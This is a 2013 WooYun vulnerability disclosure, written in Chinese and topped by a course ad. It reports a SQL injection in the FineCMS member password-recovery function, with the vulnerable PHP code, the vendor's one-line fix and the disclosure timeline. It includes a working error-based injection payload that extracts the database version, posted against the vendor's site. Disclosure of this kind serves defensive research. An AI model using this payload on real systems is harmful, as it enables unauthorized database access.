破壳企业应急安全(防御方向)课程 应急响应 勒索病毒 挖矿木马 DDOS 日志分析

finecms sql注入漏洞

编号46642
Urlhttp://www.wooyun.org/bug.php?action=view&id=46642
漏洞状态厂商已经确认
漏洞标题finecms sql注入漏洞
漏洞类型SQL注射漏洞
厂商dayrui.com
白帽子想要减肥的胖纸
提交日期2013-12-25 17:04:00
公开日期2014-03-25 17:04:00
修复时间(not set)
确认时间2013-12-25 00:00:00
Confirm Spend0
漏洞标签php源码审核
关注数0
收藏数0
白帽评级
白帽自评rank15
厂商评级
厂商评rank3
漏洞简介
FineCMS是一款基于PHP+MySql开发的内容管理系统,采用MVC设计模式实现业务逻辑与表现层的适当分离,使网页设计师能够轻松设计出理想的模板,插件化方式开发功能易用便于扩展,支持自定义内容模型和会员模型,并且可以自定义字段,系统内置文章、图片、下载、房产、商品内容模型,系统表单功能可轻松扩展出留言、报名、书籍等功能,实现与内容模型、会员模型相关联,FineCMS可面向中小型站点提供重量级网站建设解决方案
漏洞细节

漏洞文件
/member/controllers/Login.php

ublic function find() {

$step = max(1, (int)$this->input->get('step'));
$error = '';

if (IS_POST) {
switch ($step) {
case 1:
if ($uid = get_cookie('find')) {
$this->member_msg(lang('m-093'), dr_member_url('login/find', array('step' => 2, 'uid' => $uid)), 1);
} else {
$name = $this->input->post('name');
$value = $this->input->post('value');
$data = $this->db
->select('uid,username,randcode')
->where($name, $value)
->limit(1)
->get('member')
->row_array();


$name(email)在sql语句里是字段,$value([email protected])是值
正常语句是这样的

SELECT `uid`, `username`, `randcode`
FROM `dr_member`
WHERE `email` = '[email protected]'
LIMIT 1


name参数没过滤 并且没被单引号引起来,这里对应的是email

POC

exp

http://www.dayrui.net/member/index.php?c=login&m=find
post:
uid=0&name=email=1 AND (SELECT 3002 FROM(SELECT COUNT(*),CONCAT(0x20,(SELECT MID((IFNULL(CAST(version() AS CHAR),0x20)),1,50)),0x20,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)


QQ20131221-1@2x.png

修复方案

不懂怎么修复,刚接触代码审计,请百度相关通用防注入的代码。

状态信息 2013-12-25: 细节已通知厂商并且等待厂商处理中
2013-12-25: 厂商已经确认,细节仅向厂商公开
2013-12-28: 细节向第三方安全合作伙伴开放
2014-02-18: 细节向核心白帽子及相关领域专家公开
2014-02-28: 细节向普通白帽子公开
2014-03-10: 细节向实习白帽子公开
2014-03-25: 细节向公众公开
厂商回复$name = $this->input->post('name', TRUE);
$value = $this->input->post('value', TRUE);
回应信息危害等级:低漏洞Rank:3 确认时间:2013-12-25 17:27